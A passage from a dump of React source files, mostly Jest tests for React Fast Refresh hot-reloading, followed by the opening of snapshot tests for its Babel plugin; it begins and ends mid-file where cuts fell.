{\n        ReactFreshRuntime.performReactRefresh();\n      });\n      expect(containerA.innerHTML).toBe('A4');\n      expect(containerB.innerHTML).toBe('B1');\n    }\n  });\n\n  it('remounts classes on every edit', async () => {\n    if (__DEV__) {\n      const HelloV1 = await render(() => {\n        class Hello extends React.Component {\n          state = {count: 0};\n          handleClick = () => {\n            this.setState(prev => ({\n              count: prev.count + 1,\n            }));\n          };\n          render() {\n            return (\n              <p style={{color: 'blue'}} onClick={this.handleClick}>\n                {this.state.count}\n              </p>\n            );\n          }\n        }\n        // For classes, we wouldn't do this call via Babel plugin.\n        // Instead, we'd do it at module boundaries.\n        // Normally classes would get a different type and remount anyway,\n        // but at module boundaries we may want to prevent propagation.\n        // However we still want to force a remount and use latest version.\n        $RefreshReg$(Hello, 'Hello');\n        return Hello;\n      });\n\n      // Bump the state before patching.\n      const el = container.firstChild;\n      expect(el.textContent).toBe('0');\n      expect(el.style.color).toBe('blue');\n      await act(() => {\n        el.dispatchEvent(new MouseEvent('click', {bubbles: true}));\n      });\n      expect(el.textContent).toBe('1');\n\n      // Perform a hot update.\n      const HelloV2 = await patch(() => {\n        class Hello extends React.Component {\n          state = {count: 0};\n          handleClick = () => {\n            this.setState(prev => ({\n              count: prev.count + 1,\n            }));\n          };\n          render() {\n            return (\n              <p style={{color: 'red'}} onClick={this.handleClick}>\n                {this.state.count}\n              </p>\n            );\n          }\n        }\n        $RefreshReg$(Hello, 'Hello');\n        return Hello;\n      });\n\n      // It should have remounted the class.\n      expect(container.firstChild).not.toBe(el);\n      const newEl = container.firstChild;\n      expect(newEl.textContent).toBe('0');\n      expect(newEl.style.color).toBe('red');\n      await act(() => {\n        newEl.dispatchEvent(new MouseEvent('click', {bubbles: true}));\n      });\n      expect(newEl.textContent).toBe('1');\n\n      // Now top-level renders of both types resolve to latest.\n      await render(() => HelloV1);\n      await render(() => HelloV2);\n      expect(container.firstChild).toBe(newEl);\n      expect(newEl.style.color).toBe('red');\n      expect(newEl.textContent).toBe('1');\n\n      const HelloV3 = await patch(() => {\n        class Hello extends React.Component {\n          state = {count: 0};\n          handleClick = () => {\n            this.setState(prev => ({\n              count: prev.count + 1,\n            }));\n          };\n          render() {\n            return (\n              <p style={{color: 'orange'}} onClick={this.handleClick}>\n                {this.state.count}\n              </p>\n            );\n          }\n        }\n        $RefreshReg$(Hello, 'Hello');\n        return Hello;\n      });\n\n      // It should have remounted the class again.\n      expect(container.firstChild).not.toBe(el);\n      const finalEl = container.firstChild;\n      expect(finalEl.textContent).toBe('0');\n      expect(finalEl.style.color).toBe('orange');\n      await act(() => {\n        finalEl.dispatchEvent(new MouseEvent('click', {bubbles: true}));\n      });\n      expect(finalEl.textContent).toBe('1');\n\n      await render(() => HelloV3);\n      await render(() => HelloV2);\n      await render(() => HelloV1);\n      expect(container.firstChild).toBe(finalEl);\n      expect(finalEl.style.color).toBe('orange');\n      expect(finalEl.textContent).toBe('1');\n    }\n  });\n\n  it('updates refs when remounting', async () => {\n    if (__DEV__) {\n      const testRef = React.createRef();\n      await render(\n        () => {\n          class Hello extends React.Component {\n            getColor() {\n              return 'green';\n            }\n            render() {\n              return <p />;\n            }\n          }\n          $RefreshReg$(Hello, 'Hello');\n          return Hello;\n        },\n        {ref: testRef},\n      );\n      expect(testRef.current.getColor()).toBe('green');\n\n      await patch(() => {\n        class Hello extends React.Component {\n          getColor() {\n            return 'orange';\n          }\n          render() {\n            return <p />;\n          }\n        }\n        $RefreshReg$(Hello, 'Hello');\n      });\n      expect(testRef.current.getColor()).toBe('orange');\n\n      await patch(() => {\n        const Hello = React.forwardRef((props, ref) => {\n          React.useImperativeHandle(ref, () => ({\n            getColor() {\n              return 'pink';\n            },\n          }));\n          return <p />;\n        });\n        $RefreshReg$(Hello, 'Hello');\n      });\n      expect(testRef.current.getColor()).toBe('pink');\n\n      await patch(() => {\n        const Hello = React.forwardRef((props, ref) => {\n          React.useImperativeHandle(ref, () => ({\n            getColor() {\n              return 'yellow';\n            },\n          }));\n          return <p />;\n        });\n        $RefreshReg$(Hello, 'Hello');\n      });\n      expect(testRef.current.getColor()).toBe('yellow');\n\n      await patch(() => {\n        const Hello = React.forwardRef((props, ref) => {\n          React.useImperativeHandle(ref, () => ({\n            getColor() {\n              return 'yellow';\n            },\n          }));\n          return <p />;\n        });\n        $RefreshReg$(Hello, 'Hello');\n      });\n      expect(testRef.current.getColor()).toBe('yellow');\n    }\n  });\n\n  it('remounts on conversion from class to function and back', async () => {\n    if (__DEV__) {\n      const HelloV1 = await render(() => {\n        function Hello() {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'blue'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        $RefreshReg$(Hello, 'Hello');\n        return Hello;\n      });\n\n      // Bump the state before patching.\n      const el = container.firstChild;\n      expect(el.textContent).toBe('0');\n      expect(el.style.color).toBe('blue');\n      await act(() => {\n        el.dispatchEvent(new MouseEvent('click', {bubbles: true}));\n      });\n      expect(el.textContent).toBe('1');\n\n      // Perform a hot update that turns it into a class.\n      const HelloV2 = await patch(() => {\n        class Hello extends React.Component {\n          state = {count: 0};\n          handleClick = () => {\n            this.setState(prev => ({\n              count: prev.count + 1,\n            }));\n          };\n          render() {\n            return (\n              <p style={{color: 'red'}} onClick={this.handleClick}>\n                {this.state.count}\n              </p>\n            );\n          }\n        }\n        $RefreshReg$(Hello, 'Hello');\n        return Hello;\n      });\n\n      // It should have remounted.\n      expect(container.firstChild).not.toBe(el);\n      const newEl = container.firstChild;\n      expect(newEl.textContent).toBe('0');\n      expect(newEl.style.color).toBe('red');\n      await act(() => {\n        newEl.dispatchEvent(new MouseEvent('click', {bubbles: true}));\n      });\n      expect(newEl.textContent).toBe('1');\n\n      // Now top-level renders of both types resolve to latest.\n      await render(() => HelloV1);\n      await render(() => HelloV2);\n      expect(container.firstChild).toBe(newEl);\n      expect(newEl.style.color).toBe('red');\n      expect(newEl.textContent).toBe('1');\n\n      // Now convert it back to a function.\n      const HelloV3 = await patch(() => {\n        function Hello() {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'orange'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        $RefreshReg$(Hello, 'Hello');\n        return Hello;\n      });\n\n      // It should have remounted again.\n      expect(container.firstChild).not.toBe(el);\n      const finalEl = container.firstChild;\n      expect(finalEl.textContent).toBe('0');\n      expect(finalEl.style.color).toBe('orange');\n      await act(() => {\n        finalEl.dispatchEvent(new MouseEvent('click', {bubbles: true}));\n      });\n      expect(finalEl.textContent).toBe('1');\n\n      await render(() => HelloV3);\n      await render(() => HelloV2);\n      await render(() => HelloV1);\n      expect(container.firstChild).toBe(finalEl);\n      expect(finalEl.style.color).toBe('orange');\n      expect(finalEl.textContent).toBe('1');\n\n      // Now that it's a function, verify edits keep state.\n      await patch(() => {\n        function Hello() {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'purple'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        $RefreshReg$(Hello, 'Hello');\n        return Hello;\n      });\n      expect(container.firstChild).toBe(finalEl);\n      expect(finalEl.style.color).toBe('purple');\n      expect(finalEl.textContent).toBe('1');\n    }\n  });\n\n  it('can update multiple roots independently', async () => {\n    if (__DEV__) {\n      // Declare the first version.\n      const HelloV1 = () => {\n        const [val, setVal] = React.useState(0);\n        return (\n          <p style={{color: 'blue'}} onClick={() => setVal(val + 1)}>\n            {val}\n          </p>\n        );\n      };\n      $RefreshReg$(HelloV1, 'Hello');\n\n      // Perform a hot update before any roots exist.\n      const HelloV2 = () => {\n        const [val, setVal] = React.useState(0);\n        return (\n          <p style={{color: 'red'}} onClick={() => setVal(val + 1)}>\n            {val}\n          </p>\n        );\n      };\n      $RefreshReg$(HelloV2, 'Hello');\n      await act(() => {\n        ReactFreshRuntime.performReactRefresh();\n      });\n\n      // Mount three roots.\n      const cont1 = document.createElement('div');\n      const cont2 = document.createElement('div');\n      const cont3 = document.createElement('div');\n      document.body.appendChild(cont1);\n      document.body.appendChild(cont2);\n      document.body.appendChild(cont3);\n      const root1 = ReactDOMClient.createRoot(cont1);\n      const root2 = ReactDOMClient.createRoot(cont2);\n      const root3 = ReactDOMClient.createRoot(cont3);\n      try {\n        await act(() => {\n          root1.render(<HelloV1 id={1} />);\n        });\n        await act(() => {\n          root2.render(<HelloV2 id={2} />);\n        });\n        await act(() => {\n          root3.render(<HelloV1 id={3} />);\n        });\n\n        // Expect we see the V2 color.\n        expect(cont1.firstChild.style.color).toBe('red');\n        expect(cont2.firstChild.style.color).toBe('red');\n        expect(cont3.firstChild.style.color).toBe('red');\n        expect(cont1.firstChild.textContent).toBe('0');\n        expect(cont2.firstChild.textContent).toBe('0');\n        expect(cont3.firstChild.textContent).toBe('0');\n\n        // Bump the state for each of them.\n        await act(() => {\n          cont1.firstChild.dispatchEvent(\n            new MouseEvent('click', {bubbles: true}),\n          );\n          cont2.firstChild.dispatchEvent(\n            new MouseEvent('click', {bubbles: true}),\n          );\n          cont3.firstChild.dispatchEvent(\n            new MouseEvent('click', {bubbles: true}),\n          );\n        });\n        expect(cont1.firstChild.style.color).toBe('red');\n        expect(cont2.firstChild.style.color).toBe('red');\n        expect(cont3.firstChild.style.color).toBe('red');\n        expect(cont1.firstChild.textContent).toBe('1');\n        expect(cont2.firstChild.textContent).toBe('1');\n        expect(cont3.firstChild.textContent).toBe('1');\n\n        // Perform another hot update.\n        const HelloV3 = () => {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'green'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        };\n        $RefreshReg$(HelloV3, 'Hello');\n        await act(() => {\n          ReactFreshRuntime.performReactRefresh();\n        });\n\n        // It should affect all roots.\n        expect(cont1.firstChild.style.color).toBe('green');\n        expect(cont2.firstChild.style.color).toBe('green');\n        expect(cont3.firstChild.style.color).toBe('green');\n        expect(cont1.firstChild.textContent).toBe('1');\n        expect(cont2.firstChild.textContent).toBe('1');\n        expect(cont3.firstChild.textContent).toBe('1');\n\n        // Unmount the second root.\n        await act(() => {\n          root2.unmount();\n        });\n        // Make the first root throw and unmount on hot update.\n        const HelloV4 = ({id}) => {\n          if (id === 1) {\n            throw new Error('Oops.');\n          }\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'orange'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        };\n        $RefreshReg$(HelloV4, 'Hello');\n        await expect(\n          act(() => {\n            ReactFreshRuntime.performReactRefresh();\n          }),\n        ).rejects.toThrow('Oops.');\n\n        // Still, we expect the last root to be updated.\n        expect(cont1.innerHTML).toBe('');\n        expect(cont2.innerHTML).toBe('');\n        expect(cont3.firstChild.style.color).toBe('orange');\n        expect(cont3.firstChild.textContent).toBe('1');\n      } finally {\n        document.body.removeChild(cont1);\n        document.body.removeChild(cont2);\n        document.body.removeChild(cont3);\n      }\n    }\n  });\n\n  // Module runtimes can use this to decide whether\n  // to propagate an update up to the modules that imported it,\n  // or to stop at the current module because it's a component.\n  // This can't and doesn't need to be 100% precise.\n  it('can detect likely component types', () => {\n    function useTheme() {}\n    function Widget() {}\n\n    if (__DEV__) {\n      expect(ReactFreshRuntime.isLikelyComponentType(false)).toBe(false);\n      expect(ReactFreshRuntime.isLikelyComponentType(null)).toBe(false);\n      expect(ReactFreshRuntime.isLikelyComponentType('foo')).toBe(false);\n\n      // We need to hit a balance here.\n      // If we lean towards assuming everything is a component,\n      // editing modules that export plain functions won't trigger\n      // a proper reload because we will bottle up the update.\n      // So we're being somewhat conservative.\n      expect(ReactFreshRuntime.isLikelyComponentType(() => {})).toBe(false);\n      expect(ReactFreshRuntime.isLikelyComponentType(function () {})).toBe(\n        false,\n      );\n      expect(\n        ReactFreshRuntime.isLikelyComponentType(function lightenColor() {}),\n      ).toBe(false);\n      const loadUser = () => {};\n      expect(ReactFreshRuntime.isLikelyComponentType(loadUser)).toBe(false);\n      const useStore = () => {};\n      expect(ReactFreshRuntime.isLikelyComponentType(useStore)).toBe(false);\n      expect(ReactFreshRuntime.isLikelyComponentType(useTheme)).toBe(false);\n      const rogueProxy = new Proxy(\n        {},\n        {\n          get(target, property) {\n            throw new Error();\n          },\n        },\n      );\n      expect(ReactFreshRuntime.isLikelyComponentType(rogueProxy)).toBe(false);\n\n      // These seem like function components.\n      const Button = () => {};\n      expect(ReactFreshRuntime.isLikelyComponentType(Button)).toBe(true);\n      expect(ReactFreshRuntime.isLikelyComponentType(Widget)).toBe(true);\n      const ProxyButton = new Proxy(Button, {\n        get(target, property) {\n          return target[property];\n        },\n      });\n      expect(ReactFreshRuntime.isLikelyComponentType(ProxyButton)).toBe(true);\n      const anon = (() => () => {})();\n      anon.displayName = 'Foo';\n      expect(ReactFreshRuntime.isLikelyComponentType(anon)).toBe(true);\n\n      // These seem like class components.\n      class Btn extends React.Component {}\n      class PureBtn extends React.PureComponent {}\n      const ProxyBtn = new Proxy(Btn, {\n        get(target, property) {\n          return target[property];\n        },\n      });\n      expect(ReactFreshRuntime.isLikelyComponentType(Btn)).toBe(true);\n      expect(ReactFreshRuntime.isLikelyComponentType(PureBtn)).toBe(true);\n      expect(ReactFreshRuntime.isLikelyComponentType(ProxyBtn)).toBe(true);\n      expect(\n        ReactFreshRuntime.isLikelyComponentType(\n          createReactClass({render() {}}),\n        ),\n      ).toBe(true);\n\n      // These don't.\n      class Figure {\n        move() {}\n      }\n      expect(ReactFreshRuntime.isLikelyComponentType(Figure)).toBe(false);\n      class Point extends Figure {}\n      expect(ReactFreshRuntime.isLikelyComponentType(Point)).toBe(false);\n\n      // Run the same tests without Babel.\n      // This tests real arrow functions and classes, as implemented in Node.\n\n      // eslint-disable-next-line no-new-func\n      new Function(\n        'global',\n        'React',\n        'ReactFreshRuntime',\n        'expect',\n        'createReactClass',\n        `\n        expect(ReactFreshRuntime.isLikelyComponentType(() => {})).toBe(false);\n        expect(ReactFreshRuntime.isLikelyComponentType(function() {})).toBe(false);\n        expect(\n          ReactFreshRuntime.isLikelyComponentType(function lightenColor() {}),\n        ).toBe(false);\n        const loadUser = () => {};\n        expect(ReactFreshRuntime.isLikelyComponentType(loadUser)).toBe(false);\n        const useStore = () => {};\n        expect(ReactFreshRuntime.isLikelyComponentType(useStore)).toBe(false);\n        function useTheme() {}\n        expect(ReactFreshRuntime.isLikelyComponentType(useTheme)).toBe(false);\n\n        // These seem like function components.\n        let Button = () => {};\n        expect(ReactFreshRuntime.isLikelyComponentType(Button)).toBe(true);\n        function Widget() {}\n        expect(ReactFreshRuntime.isLikelyComponentType(Widget)).toBe(true);\n        let anon = (() => () => {})();\n        anon.displayName = 'Foo';\n        expect(ReactFreshRuntime.isLikelyComponentType(anon)).toBe(true);\n\n        // These seem like class components.\n        class Btn extends React.Component {}\n        class PureBtn extends React.PureComponent {}\n        expect(ReactFreshRuntime.isLikelyComponentType(Btn)).toBe(true);\n        expect(ReactFreshRuntime.isLikelyComponentType(PureBtn)).toBe(true);\n        expect(\n          ReactFreshRuntime.isLikelyComponentType(createReactClass({render() {}})),\n        ).toBe(true);\n\n        // These don't.\n        class Figure {\n          move() {}\n        }\n        expect(ReactFreshRuntime.isLikelyComponentType(Figure)).toBe(false);\n        class Point extends Figure {}\n        expect(ReactFreshRuntime.isLikelyComponentType(Point)).toBe(false);\n      `,\n      )(global, React, ReactFreshRuntime, expect, createReactClass);\n    }\n  });\n\n  it('reports updated and remounted families to the caller', () => {\n    if (__DEV__) {\n      const HelloV1 = () => {\n        const [val, setVal] = React.useState(0);\n        return (\n          <p style={{color: 'blue'}} onClick={() => setVal(val + 1)}>\n            {val}\n          </p>\n        );\n      };\n      $RefreshReg$(HelloV1, 'Hello');\n\n      const HelloV2 = () => {\n        const [val, setVal] = React.useState(0);\n        return (\n          <p style={{color: 'red'}} onClick={() => setVal(val + 1)}>\n            {val}\n          </p>\n        );\n      };\n      $RefreshReg$(HelloV2, 'Hello');\n\n      const update = ReactFreshRuntime.performReactRefresh();\n      expect(update.updatedFamilies.size).toBe(1);\n      expect(update.staleFamilies.size).toBe(0);\n      const family = update.updatedFamilies.values().next().value;\n      expect(family.current.name).toBe('HelloV2');\n      // For example, we can use this to print a log of what was updated.\n    }\n  });\n\n  function initFauxDevToolsHook() {\n    const onCommitFiberRoot = jest.fn();\n    const onCommitFiberUnmount = jest.fn();\n\n    let idCounter = 0;\n    const renderers = new Map();\n\n    // This is a minimal shim for the global hook installed by DevTools.\n    // The real one is in packages/react-devtools-shared/src/hook.js.\n    global.__REACT_DEVTOOLS_GLOBAL_HOOK__ = {\n      renderers,\n      supportsFiber: true,\n      inject(renderer) {\n        const id = ++idCounter;\n        renderers.set(id, renderer);\n        return id;\n      },\n      onCommitFiberRoot,\n      onCommitFiberUnmount,\n    };\n  }\n\n  // This simulates the scenario in https://github.com/facebook/react/issues/17626\n  it('can inject the runtime after the renderer executes', async () => {\n    if (__DEV__) {\n      initFauxDevToolsHook();\n\n      // Load these first, as if they're coming from a CDN.\n      jest.resetModules();\n      React = require('react');\n      ReactDOM = require('react-dom');\n      ReactDOMClient = require('react-dom/client');\n      Scheduler = require('scheduler');\n      act = require('internal-test-utils').act;\n\n      // Important! Inject into the global hook *after* ReactDOM runs:\n      ReactFreshRuntime = require('react-refresh/runtime');\n      ReactFreshRuntime.injectIntoGlobalHook(global);\n\n      root = ReactDOMClient.createRoot(container);\n\n      // We're verifying that we're able to track roots mounted after this point.\n      // The rest of this test is taken from the simplest first test case.\n\n      await render(() => {\n        function Hello() {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'blue'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        $RefreshReg$(Hello, 'Hello');\n        return Hello;\n      });\n\n      // Bump the state before patching.\n      const el = container.firstChild;\n      expect(el.textContent).toBe('0');\n      expect(el.style.color).toBe('blue');\n      await act(() => {\n        el.dispatchEvent(new MouseEvent('click', {bubbles: true}));\n      });\n      expect(el.textContent).toBe('1');\n\n      // Perform a hot update.\n      await patch(() => {\n        function Hello() {\n          const [val, setVal] = React.useState(0);\n          return (\n            <p style={{color: 'red'}} onClick={() => setVal(val + 1)}>\n              {val}\n            </p>\n          );\n        }\n        $RefreshReg$(Hello, 'Hello');\n        return Hello;\n      });\n\n      // Assert the state was preserved but color changed.\n      expect(container.firstChild).toBe(el);\n      expect(el.textContent).toBe('1');\n      expect(el.style.color).toBe('red');\n    }\n  });\n\n  // This simulates the scenario in https://github.com/facebook/react/issues/20100\n  it('does not block DevTools when an unsupported legacy renderer is injected', () => {\n    if (__DEV__) {\n      initFauxDevToolsHook();\n\n      const onCommitFiberRoot =\n        global.__REACT_DEVTOOLS_GLOBAL_HOOK__.onCommitFiberRoot;\n\n      // Redirect all React/ReactDOM requires to v16.8.0\n      // This version predates Fast Refresh support.\n      jest.mock('scheduler', () => jest.requireActual('scheduler-0-13'));\n      jest.mock('scheduler/tracing', () =>\n        jest.requireActual('scheduler-0-13/tracing'),\n      );\n      jest.mock('react', () => jest.requireActual('react-16-8'));\n      jest.mock('react-dom', () => jest.requireActual('react-dom-16-8'));\n\n      // Load React and company.\n      jest.resetModules();\n      React = require('react');\n      ReactDOM = require('react-dom');\n      Scheduler = require('scheduler');\n\n      // Important! Inject into the global hook *after* ReactDOM runs:\n      ReactFreshRuntime = require('react-refresh/runtime');\n      ReactFreshRuntime.injectIntoGlobalHook(global);\n\n      // NOTE: Intentionally using createElement in this test instead of JSX\n      // because old versions of React are incompatible with the JSX transform\n      // used by our test suite.\n      const Hello = () => {\n        const [state] = React.useState('Hi!');\n        // Intentionally\n        return React.createElement('div', null, state);\n      };\n      $RefreshReg$(Hello, 'Hello');\n      const Component = Hello;\n      ReactDOM.render(React.createElement(Component), container);\n\n      expect(onCommitFiberRoot).toHaveBeenCalled();\n    }\n  });\n});\n"
  },
  {
    "path": "packages/react-refresh/src/__tests__/ReactFreshBabelPlugin-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\nconst babel = require('@babel/core');\nconst {wrap} = require('jest-snapshot-serializer-raw');\nconst freshPlugin = require('react-refresh/babel');\n\nfunction transform(input, options = {}) {\n  return wrap(\n    babel.transform(input, {\n      babelrc: false,\n      configFile: false,\n      envName: options.envName,\n      plugins: [\n        '@babel/syntax-jsx',\n        '@babel/syntax-dynamic-import',\n        [\n          freshPlugin,\n          {\n            skipEnvCheck:\n              options.skipEnvCheck === undefined ? true : options.skipEnvCheck,\n            // To simplify debugging tests:\n            emitFullSignatures: true,\n            ...options.freshOptions,\n          },\n        ],\n        ...(options.plugins || []),\n      ],\n    }).code,\n  );\n}\n\ndescribe('ReactFreshBabelPlugin', () => {\n  it('registers top-level function declarations', () => {\n    // Hello and Bar should be registered, handleClick shouldn't.\n    expect(\n      transform(`\n        function Hello() {\n          function handleClick() {}\n          return <h1 onClick={handleClick}>Hi</h1>;\n        }\n\n        function Bar() {\n          return <Hello />;\n        }\n    `),\n    ).toMatchSnapshot();\n  });\n\n  it('registers top-level exported function declarations', () => {\n    expect(\n      transform(`\n        export function Hello() {\n          function handleClick() {}\n          return <h1 onClick={handleClick}>Hi</h1>;\n        }\n\n        export default function Bar() {\n          return <Hello />;\n        }\n\n        function Baz() {\n          return <h1>OK</h1>;\n        }\n\n        const NotAComp = 'hi';\n        export { Baz, NotAComp };\n\n        export function sum() {}\n        export const Bad = 42;\n    `),\n    ).toMatchSnapshot();\n  });\n\n  it('registers top-level exported named arrow functions', () => {\n    expect(\n      transform(`\n        export const Hello = () => {\n          function handleClick() {}\n          return <h1 onClick={handleClick}>Hi</h1>;\n        };\n\n        export let Bar = (props) => <Hello />;\n\n        export default () => {\n          // This one should be ignored.\n          // You should name your components.\n          return <Hello />;\n        };\n    `),\n    ).toMatchSnapshot();\n  });\n\n  it('uses original function declaration if it get reassigned', () => {\n    // This should register the original version.\n    // TODO: in the future, we may *also* register the wrapped one.\n    expect(\n      transform(`\n        function Hello() {\n          return <h1>Hi</h1>;\n        }\n        Hello = connect(Hello);\n    `),\n    ).toMatchSnapshot();\n  });\n\n  it('only registers pascal case functions', () => {\n    // Should not get registered.\n    expect(\n      transform(`\n        function hello() {\n          return 2 * 2;\n        }\n    `),\n    ).toMatchSnapshot();\n  });\n\n  it('registers top-level variable declarations with function expressions', () => {\n    // Hello and Bar should be registered; handleClick, sum, Baz, and Qux shouldn't.\n    expect(\n      transform(`\n        let Hello = function() {\n          function handleClick() {}\n          return <h1 onClick={handleClick}>Hi</h1>;\n        };\n        const Bar = function Baz() {\n          return <Hello />;\n        };\n        function sum() {}\n        let Baz = 10;\n        var Qux;\n    `),\n    ).toMatchSnapshot();\n  });\n\n  it('registers top-level variable declarations with arrow functions', () => {\n    // Hello, Bar, and Baz should be registered; handleClick and sum shouldn't.\n    expect(\n      transform(`\n        let Hello = () => {\n          const handleClick = () => {};\n          return <h1 onClick={handleClick}>Hi</h1>;\n        }\n        const Bar = () => {\n          return <Hello />;\n        };\n        var Baz = () => <div />;\n        var sum = () => {};\n    `),\n    ).toMatchSnapshot();\n  });\n\n  it('ignores HOC definitions', () => {\n    // TODO: we might want to handle HOCs at usage site, however.\n    // TODO: it would be nice if we could always avoid registering\n    // a function that is known to return a function or other non-node.\n    expect(\n      transform(`\n        let connect = () => {\n          function Comp() {\n            const handleClick = () => {};\n            return <h1 onClick={handleClick}>Hi</h1>;\n          }\n          return Comp;\n        };\n        function withRouter() {\n          return function Child() {\n            const handleClick = () => {};\n            return <h1 onClick={handleClick}>Hi</h1>;\n          }\n        };\n    `),\n    ).toMatchSnapshot();\n  });\n\n  it('ignores complex definitions', () => {\n    expect(\n      transform(`\n        let A = foo ? () => {\n          return <h1>Hi</h1>;\n        } : null\n        const B = (function Foo() {\n          return <h1>Hi</h1>;\n        })();\n        let C = () => () => {\n          return <h1>Hi</h1>;\n        };\n        let D = bar && (() => {\n          return <h1>Hi</h1>;\n        });\n    `),\n    ).toMatchSnapshot();\n  });\n\n  it('ignores unnamed function declarations', () => {\n    expect(\n      transform(`\n        export default function() {}\n    `),\n    ).toMatchSnapshot();\n  });\n\n  it('registers likely HOCs with inline functions', () => {\n    expect(\n      transform(`\n        const A = forwardRef(function() {\n          return <h1>Foo</h1>;\n        });\n        const B = memo(React.forwardRef(() => {\n          return <h1>Foo</h1>;\n        }));\n        export default React.memo(forwardRef((props, ref) => {\n          return <h1>Foo</h1>;\n        }));\n    `),\n    ).toMatchSnapshot();\n    expect(\n      transform(`\n        export default React.memo(forwardRef(function (props, ref) {\n          return <h1>Foo</h1>;\n        }));\n    `),\n    ).toMatchSnapshot();\n    expect(\n      transform(`\n        export default React.memo(forwardRef(function Named(props, ref) {\n          return <h1>Foo</h1>;\n        }));\n    `),\n    ).toMatchSnapshot();\n  });\n\n  it('ignores higher-order functions that are not HOCs', () => {\n    expect(\n      transform(`\n        const throttledAlert = throttle(function() {\n          alert('Hi');\n        });\n        const TooComplex = (function() { return hello })(() => {});\n        if (cond) {\n          const Foo = thing(() => {});\n        }\n    `),\n    ).toMatchSnapshot();\n  });\n\n  it('registers identifiers used in JSX at definition site', () => {\n    // When in doubt, register variables that were used in JSX.\n    // Foo, Header, and B get registered.\n    // A doesn't get registered because it's not declared locally.\n    // Alias doesn't get registered because its definition is just an identifier.\n    expect(\n      transform(`\n        import A from './A';\n        import Store from './Store';\n\n        Store.subscribe();\n\n        const Header = styled.div\\`color: red\\`\n        const StyledFactory1 = styled('div')\\`color: hotpink\\`\n        const StyledFactory2 = styled('div')({ color: 'hotpink' })\n        const StyledFactory3 = styled(A)({ color: 'hotpink' })\n        const FunnyFactory = funny.factory\\`\\`;\n\n        let Alias1 = A;\n        let Alias2 = A.Foo;\n        const Dict = {};\n\n        function Foo() {\n          return (\n            <div><A /><B /><StyledFactory1 /><StyledFactory2 /><StyledFactory3 /><Alias1 /><Alias2 /><Header /><Dict.X /></div>\n          );\n        }\n\n        const B = hoc(A);\n        // This is currently registered as a false positive:\n        const NotAComponent = wow(A);\n        // We could avoid it but it also doesn't hurt.\n    `),\n    ).toMatchSnapshot();\n  });\n\n  it('registers identifiers used in React.createElement at definition site', () => {\n    // When in doubt, register variables that were used in JSX.\n    // Foo, Header, and B get registered.\n    // A doesn't get registered because it's not declared locally.\n    // Alias doesn't get registered because its definition is just an identifier.\n    expect(\n      transform(`\n        import A from './A';\n        import Store from './Store';\n\n        Store.subscribe();\n\n        const Header = styled.div\\`color: red\\`\n        const StyledFactory1 = styled('div')\\`color: hotpink\\`\n        const StyledFactory2 = styled('div')({ color: 'hotpink' })\n        const StyledFactory3 = styled(A)({ color: 'hotpink' })\n        const FunnyFactory = funny.factory\\`\\`;\n\n        let Alias1 = A;\n        let Alias2 = A.Foo;\n        const Dict = {};\n\n        function Foo() {\n          return [\n            React.createElement(A),\n            React.createElement(B),\n            React.createElement(StyledFactory1),\n            React.createElement(StyledFactory2),\n            React.createElement(StyledFactory3),\n            React.createElement(Alias1),\n            React.createElement(Alias2),\n            jsx(Header),\n            React.createElement(Dict.X),\n          ];\n        }\n\n        React.createContext(Store);\n\n        const B = hoc(A);\n        // This is currently registered as a false positive:\n        const NotAComponent = wow(A);\n        // We could avoid it but it also doesn't hurt.\n    `),\n    ).toMatchSnapshot();\n  });\n\n  it('registers capitalized identifiers in HOC calls', () => {\n    expect(\n      transform(`\n        function Foo() {\n          return <h1>Hi</h1>;\n        }\n\n        export default hoc(Foo);\n        export const A = hoc(Foo);\n        const B = hoc(Foo);\n    `),\n    ).toMatchSnapshot();\n  });\n\n  it('generates signatures for function declarations calling hooks', () => {\n    expect(\n      transform(`\n        export default function App() {\n          const [foo, setFoo] = useState(0);\n          React.useEffect(() => {});\n          return <h1>{foo}</h1>;\n        }\n    `),\n    ).toMatchSnapshot();\n  });\n\n  it('generates signatures for function expressions calling hooks', () => {\n    // Unlike __register__, we want to sign all functions -- not just top level.\n    // This lets us support editing HOCs better.\n    // For function declarations, __signature__ is called on next line.\n    // For function expressions, it wraps the expression.\n    // In order for this to work, __signature__ returns its first argument.\n    expect(\n      transform(`\n        export const A = React.memo(React.forwardRef((props, ref) => {\n          const [foo, setFoo] = useState(0);\n          React.useEffect(() => {});\n          return <h1 ref={ref}>{foo}</h1>;\n        }));\n\n        export const B = React.memo(React.forwardRef(function(props, ref) {\n          const [foo, setFoo] = useState(0);\n          React.useEffect(() => {});\n          return <h1 ref={ref}>{foo}</h1>;\n        }));\n\n        function hoc() {\n          return function Inner() {\n            const [foo, setFoo] = useState(0);\n            React.useEffect(() => {});\n            return <h1 ref={ref}>{foo}</h1>;\n          };\n        }\n\n        export let C = hoc();\n    `),\n    ).toMatchSnapshot();\n  });\n\n  it('includes custom hooks into the signatures', () => {\n    expect(\n      transform(`\n        function useFancyState() {\n          const [foo, setFoo] = React.useState(0);\n          useFancyEffect();\n          return foo;\n        }\n\n        const useFancyEffect = () => {\n          React.useEffect(() => {});\n        };\n\n        export default function App() {\n          const bar = useFancyState();\n          return <h1>{bar}</h1>;\n        }\n    `),\n    ).toMatchSnapshot();\n  });\n\n  it('includes custom hooks into the signatures when commonjs target is used', () => {\n    // this test is passing with Babel 6\n    // but would fail for Babel 7 _without_ custom hook node being cloned for signature\n    expect(\n      transform(\n        `\n        import {useFancyState} from './hooks';\n\n        export default function App() {\n          const bar = useFancyState();\n          return <h1>{bar}</h1>;\n        }\n    `,\n        {\n          plugins: ['@babel/transform-modules-commonjs'],\n        },\n      ),\n    ).toMatchSnapshot();\n  });\n\n  it('generates valid 